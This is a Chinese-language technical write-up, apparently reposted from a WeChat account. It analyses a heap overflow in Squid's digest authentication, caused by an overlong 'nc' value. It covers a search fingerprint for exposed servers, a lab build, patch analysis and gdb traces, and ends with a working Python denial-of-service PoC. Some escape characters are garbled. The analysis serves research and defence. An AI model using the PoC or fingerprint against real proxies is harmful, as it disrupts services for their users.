基本信息
开启了digest身份认证的squid代理服务器存在堆溢出漏洞,未经身份验证的攻击者可以利用该漏洞造成拒绝服务。
指纹
hunter
web.title="ERROR The requested URL could not be retrieved"
影响版本
squid
3.2.0.1-5.9, 6.0-6.3
环境搭建
按照configure脚本的提示安装各个依赖,而后执行如下:
export C_INCLUDE_PATH=/usr/include/libxml2
export CPLUS_INCLUDE_PATH=/usr/include/libxml2
./configure '--build=x86_64-linux-gnu' '--prefix=/root/squid/squid-6.3/build' '--includedir=${prefix}/include' '--mandir=${prefix}/share/man' '--infodir=${prefix}/share/info' '--sysconfdir=/etc' '--localstatedir=/var' '--disable-option-checking' '--disable-silent-rules' '--libdir=${prefix}/lib/x86_64-linux-gnu' '--runstatedir=/run' '--disable-maintainer-mode' '--disable-dependency-tracking' 'BUILDCXXFLAGS=-g -O2 -ffile-prefix-map=/build/reproducible-path/squid-6.3=. -fstack-protector-strong -fstack-clash-protection -Wformat -Werror=format-security -fcf-protection -Wno-error=deprecated-declarations -Wdate-time -D_FORTIFY_SOURCE=2 -Wl,-z,relro -Wl,-z,now ' 'BUILDCXX=g++' '--with-build-environment=default' '--enable-build-info=Debian linux' '--datadir=/usr/share/squid' '--sysconfdir=/etc/squid' '--libexecdir=/usr/lib/squid' '--mandir=/usr/share/man' '--enable-inline' '--disable-arch-native' '--enable-async-io=8' '--enable-storeio=ufs,aufs,diskd,rock' '--enable-removal-policies=lru,heap' '--enable-delay-pools' '--enable-icap-client' '--enable-follow-x-forwarded-for' '--enable-auth-basic=DB,fake,getpwnam,LDAP,NCSA,PAM,POP3,RADIUS,SASL,SMB' '--enable-auth-digest=file,LDAP' '--enable-auth-negotiate=wrapper' '--enable-auth-ntlm=fake,SMB_LM' '--enable-external-acl-helpers=file_userip,LDAP_group,SQL_session,unix_group,wbinfo_group' '--enable-security-cert-validators=fake' '--enable-storeid-rewrite-helpers=file' '--enable-url-rewrite-helpers=fake' '--enable-eui' '--enable-esi' '--enable-zph-qos' '--disable-translation' '--with-swapdir=/var/spool/squid' '--with-logdir=/var/log/squid' '--with-pidfile=/run/squid.pid' '--with-filedescriptors=65536' '--with-large-files' '--with-default-user=proxy' '--enable-linux-netfilter' '--without-systemd' '--with-gnutls' 'build_alias=x86_64-linux-gnu' 'CFLAGS=-g -O2 -ffile-prefix-map=/build/reproducible-path/squid-6.3=. -fstack-protector-strong -fstack-clash-protection -Wformat -Werror=format-security -fcf-protection -Wno-error=deprecated-declarations' 'LDFLAGS=-Wl,-z,relro -Wl,-z,now ' 'CPPFLAGS=-Wdate-time -D_FORTIFY_SOURCE=2' 'CXXFLAGS=-g -O2 -ffile-prefix-map=/build/reproducible-path/squid-6.3=. -fstack-protector-strong -fstack-clash-protection -Wformat -Werror=format-security -fcf-protection -Wno-error=deprecated-declarations' '--disable-optimizations'
配置在squid.conf添加如下
auth_param digest program /usr/lib/squid/digest_file_auth -c /etc/squid/password.digest
auth_param digest realm localhost
acl authenticated proxy_auth REQUIRED
http_access allow authenticated
http_port 3128
test:localhost:39df1982ed1fef9f74ecd670a2a93c66
使用如下请求触发
curl -i -k http://target -x 192.168.59.197:3128 -U test:123456 --proxy-digest
技术分析&调试
补丁分析
补丁修复于srcauthdigestConfig.cc
,可以看出补丁主要是对value.size进行了判断,在修复前虽然判断了value.size()是否为8,但仅仅打印了一条调试信息,后面仍然调用xstrncpy进行复制。在补丁处如果nc参数不是8则不会调用xstrncpy进行复制。
而xstrncpy要写入的长度参数来源于value.size(),value是一个String类型变量
case DIGEST_NC:
if (value.size() != 8) {
debugs(29, 9, "Invalid nc '" << value << "' in '" << temp << "'");
}
xstrncpy(digest_request->nc, value.rawBuf(), value.size() + 1);
debugs(29, 9, "Found noncecount '" << digest_request->nc << "'");
break;
char *
xstrncpy(char *dst, const char *src, size_t n)
{
char *r = dst;
if (!n || !dst)
return dst;
if (src)
while (--n != 0 && *src != ' ') {
*dst = *src;
++dst;
++src;
}
*dst = ' ';
return r;
}
可以看出这是一个越界写漏洞,可以造成堆溢出。动态调试
断点如下
gef➤ b Auth::Digest::Config::decode
gef➤ b Config.cc:829
通过curl触发断点
curl -i -k http://host -x 192.168.59.197:3128 -U test:123456 --proxy-digest
此时调用栈如下
gef➤ bt
#0 Auth::Digest::Config::decode (this=0x55a2e598a470,
proxy_auth=0x55a2e5cc50e7 "username="test",realm="localhost",nonce="52a18c55ec2a173b665ae8c4d1b947b6",uri="/",cnonce="b315dc470396be779b18a73909a139f1",nc=00000001,response="edda2d0982c717bd74ad9989da11b158",qop="auth"",
request=0x55a2e61210e0, aRequestRealm=0x0) at Config.cc:830
#1 0x000055a2e483a895 in Auth::SchemeConfig::CreateAuthUser (
proxy_auth=0x55a2e5cc50e0 "Digest username="test",realm="localhost",nonce="52a18c55ec2a173b665ae8c4d1b947b6",uri="/",cnonce="b315dc470396be779b18a73909a139f1",nc=00000001,response="edda2d0982c717bd74ad9989da11b158",qop="auth"", al=...)
at SchemeConfig.cc:55
#2 0x000055a2e4840d94 in Auth::UserRequest::authenticate (auth_user_request=0x55a2e611ee20,
headertype=Http::PROXY_AUTHORIZATION, request=0x55a2e61210e0, conn=0x55a2e6118e78, src_addr=..., al=...) at UserRequest.cc:354
#3 0x000055a2e4841952 in Auth::UserRequest::tryToAuthenticateAndSetAuthUser (aUR=0x55a2e611ee20,
headertype=Http::PROXY_AUTHORIZATION, request=0x55a2e61210e0, conn=0x55a2e6118e78, src_addr=..., al=...) at UserRequest.cc:453
#4 0x000055a2e4807766 in AuthenticateAcl (ch=0x55a2e611ec88) at Acl.cc:57
#5 0x000055a2e4809a2d in ACLProxyAuth::match (this=0x55a2e598ac40, checklist=0x55a2e611ec88) at AclProxyAuth.cc:55
#6 0x000055a2e4861813 in ACL::matches (this=0x55a2e598ac40, checklist=0x55a2e611ec88) at Acl.cc:171
#7 0x000055a2e4866b75 in ACLChecklist::matchChild (this=0x55a2e611ec88, current=0x55a2e598bc50, pos=0x55a2e598ac40,
child=0x55a2e598ac40) at Checklist.cc:93
#8 0x000055a2e4866018 in Acl::AndNode::doMatch (this=0x55a2e598bc50, checklist=0x55a2e611ec88, start=0x55a2e598ac40)
at BoolOps.cc:76
#9 0x000055a2e486af59 in Acl::InnerNode::match (this=0x55a2e598bc50, checklist=0x55a2e611ec88) at InnerNode.cc:91
#10 0x000055a2e4861813 in ACL::matches (this=0x55a2e598bc50, checklist=0x55a2e611ec88) at Acl.cc:171
#11 0x000055a2e4866b75 in ACLChecklist::matchChild (this=0x55a2e611ec88, current=0x55a2e598c098, pos=0x55a2e598bc50,
child=0x55a2e598bc50) at Checklist.cc:93
#12 0x000055a2e4866198 in Acl::OrNode::doMatch (this=0x55a2e598c098, checklist=0x55a2e611ec88, start=0x55a2e598bc50)
at BoolOps.cc:114
#13 0x000055a2e486af59 in Acl::InnerNode::match (this=0x55a2e598c098, checklist=0x55a2e611ec88) at InnerNode.cc:91
#14 0x000055a2e4861813 in ACL::matches (this=0x55a2e598c098, checklist=0x55a2e611ec88) at Acl.cc:171
#15 0x000055a2e4867883 in ACLChecklist::matchAndFinish (this=0x55a2e611ec88) at Checklist.cc:295
#16 0x000055a2e4867691 in ACLChecklist::nonBlockingCheck (this=0x55a2e611ec88,
callback_=0x55a2e4749b13 <clientAccessCheckDoneWrapper(Acl::Answer, void*)>, callback_data_=0x55a2e611e8b8)
at Checklist.cc:254
#17 0x000055a2e47498dc in ClientRequestContext::clientAccessCheck (this=0x55a2e611e8b8) at client_side_request.cc:660
#18 0x000055a2e474da2d in ClientHttpRequest::doCallouts (this=0x55a2e6119ce8) at client_side_request.cc:1704
#19 0x000055a2e4748ec8 in ClientRequestContext::hostHeaderVerify (this=0x55a2e611e8b8) at client_side_request.cc:608
#20 0x000055a2e474d8ff in ClientHttpRequest::doCallouts (this=0x55a2e6119ce8) at client_side_request.cc:1697
#21 0x000055a2e4727ff3 in clientProcessRequest (conn=0x55a2e6118e78, hp=..., context=0x55a2e611a740) at client_side.cc:1759
#22 0x000055a2e48b338e in Http::One::Server::processParsedRequest (this=0x55a2e6118e78, context=...) at Http1Server.cc:284
#23 0x000055a2e4729260 in ConnStateData::clientParseRequests (this=0x55a2e6118e78) at client_side.cc:1948
#24 0x000055a2e472961a in ConnStateData::afterClientRead (this=0x55a2e6118e78) at client_side.cc:1982
#25 0x000055a2e48b701c in Server::doClientRead (this=0x55a2e6118e78, io=...) at Server.cc:183
#26 0x000055a2e48b8250 in CommCbMemFunT<Server, CommIoCbParams>::doDial (this=0x55a2e6117458) at ../../src/CommCalls.h:190
#27 0x000055a2e48b832b in JobDialer<Server>::dial (this=0x55a2e6117458, call=...) at ../../src/base/AsyncJobCalls.h:175
#28 0x000055a2e48b8137 in AsyncCallT<CommCbMemFunT<Server, CommIoCbParams> >::fire (this=0x55a2e6117420)
at ../../src/base/AsyncCall.h:147
#29 0x000055a2e48d2d3c in AsyncCall::make (this=0x55a2e6117420) at AsyncCall.cc:44
#30 0x000055a2e48d3e50 in AsyncCallQueue::fire (this=0x55a2e5ca15d0) at AsyncCallQueue.cc:27
#31 0x000055a2e4669475 in EventLoop::dispatchCalls (this=0x7ffd91608f90) at EventLoop.cc:144
#32 0x000055a2e4669381 in EventLoop::runOnce (this=0x7ffd91608f90) at EventLoop.cc:121
#33 0x000055a2e46691d4 in EventLoop::run (this=0x7ffd91608f90) at EventLoop.cc:83
#34 0x000055a2e47a0842 in SquidMain (argc=0x3, argv=0x7ffd916091a8) at main.cc:1661
#35 0x000055a2e479fa03 in SquidMainSafe (argc=0x3, argv=0x7ffd916091a8) at main.cc:1353
#36 0x000055a2e479f9bd in main (argc=0x3, argv=0x7ffd916091a8) at main.cc:1341
在gdb中可以看到value值为传入的请求的nc的值
p value
{ =
static npos = 0xffffffffffffffff,
size_ = 0x28,
len_ = 0x8,
static SizeMax_ = 0xffff,
buf_ = 0x55a2e6125a60 "00000001"
}
长度为nc的长度,此时只需要nc长度超过目标缓冲区 digest_request->nc
即可造成堆溢出。查看 digest_request
定义可知nc大小为9
class UserRequest : public Auth::UserRequest
{
MEMPROXY_CLASS(Auth::Digest::UserRequest);
public:
UserRequest();
~UserRequest() override;
int authenticated() const override;
void authenticate(HttpRequest * request, ConnStateData * conn, Http::HdrType type) override;
Direction module_direction() override;
void addAuthenticationInfoHeader(HttpReply * rep, int accel) override;
virtual void addAuthenticationInfoTrailer(HttpReply * rep, int accel);
void startHelperLookup(HttpRequest *request, AccessLogEntry::Pointer &al, AUTHCB *, void *) override;
const char *credentialsStr() override;
char *noncehex; /* "dcd98b7102dd2f0e8b11d0f600bfb0c093" */
char *cnonce; /* "0a4f113b" */
char *realm; /* = "[email protected]" */
char *pszPass; /* = "Circle Of Life" */
char *algorithm; /* = "md5" */
char nc[9]; /* = "00000001" */
char *pszMethod; /* = "GET" */
char *qop; /* = "auth" */
char *uri; /* = "/dir/index.html" */
char *response;
digest_request为Auth::Digest::UserRequest指针,使用new分配内存,位于堆内,此时过大的nc会造成堆溢出。造成拒绝服务。
PoC构造
漏洞代码对应于处理[[../06 Protocol/HTTP digest身份认证|HTTP digest 认证]],通过该认证请求需要发送两次请求,第一次不携带认证头,此时squid会返回407,需要提取响应中的nonce,简单的使用python即可构造 PoC
import requests
from requests.auth import HTTPDigestAuth
import random
import string
import hashlib
proxies={
'http':'http://192.168.59.197:3128',
'https':'http://192.168.59.197:3128'
}
resp_407="""
Digest realm="localhost", nonce="47e5f5dc8b7237cf1153065afe358c89", qop="auth", stale=false"""
rr='''Digest username="test",realm="localhost",nonce="47e5f5dc8b7237cf1153065afe358c89",uri="/",cnonce="a0824a23a0394203c3023085915fd744",nc=00000001,response="b45560b922d64786ef7d6c96c9071dfa",qop="auth"'''
data='''Digest username="{username}",realm="{realm}",nonce="{nonce}",uri="{uri}",cnonce="{cnonce}",nc={nc},response="{response}",qop="auth"'''
username="test"
password="123456"
realm="localhost"
nc="00000001"*100
cnonce = ''.join(random.choice(string.ascii_lowercase + string.digits) for _ in range(32))
ha1 = hashlib.md5((username + ':' + realm + ':' + password).encode('utf-8')).hexdigest()
ha2= hashlib.md5("GET:/".encode("utf-8")).hexdigest()
resp =requests.get(url="http://target",proxies=proxies,verify=False)
if resp.status_code==407:
resp_header = resp.headers
nonce = resp_header["Proxy-Authenticate"].split(',')[1].split('=')[1].rstrip('"').lstrip('"')
response = hashlib.md5((ha1+":"+nonce+":"+nc+":"+cnonce+":auth:"+ha2).encode('utf-8')).hexdigest()
print("nonce: {}tcnonce: {}tresponse: {}".format(nonce,cnonce,response))
rdata = data.format(username=username,realm=realm,nonce=nonce,uri="/",cnonce=cnonce,nc=nc,response=response)
header = {
"Proxy-Authorization": rdata
}
print(rdata)
resp =requests.get(url="http://target.202.230",proxies=proxies,verify=False,headers=header)
print(resp.status_code,resp.text)
小结
由于squid为多进程架构,在子进程因为漏洞退出时,父进程会重新生成子进程处理代理请求,实际利用比较鸡肋,也就不难理解该漏洞没有CVE编号了。
参考链接
https://github.com/squid-cache/squid/security/advisories/GHSA-phqj-m8gv-cq4ghttps://datatracker.ietf.org/doc/html/rfc7616
原文始发于微信公众号(闲聊趣说):最新Squid 拒绝服务漏洞分析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论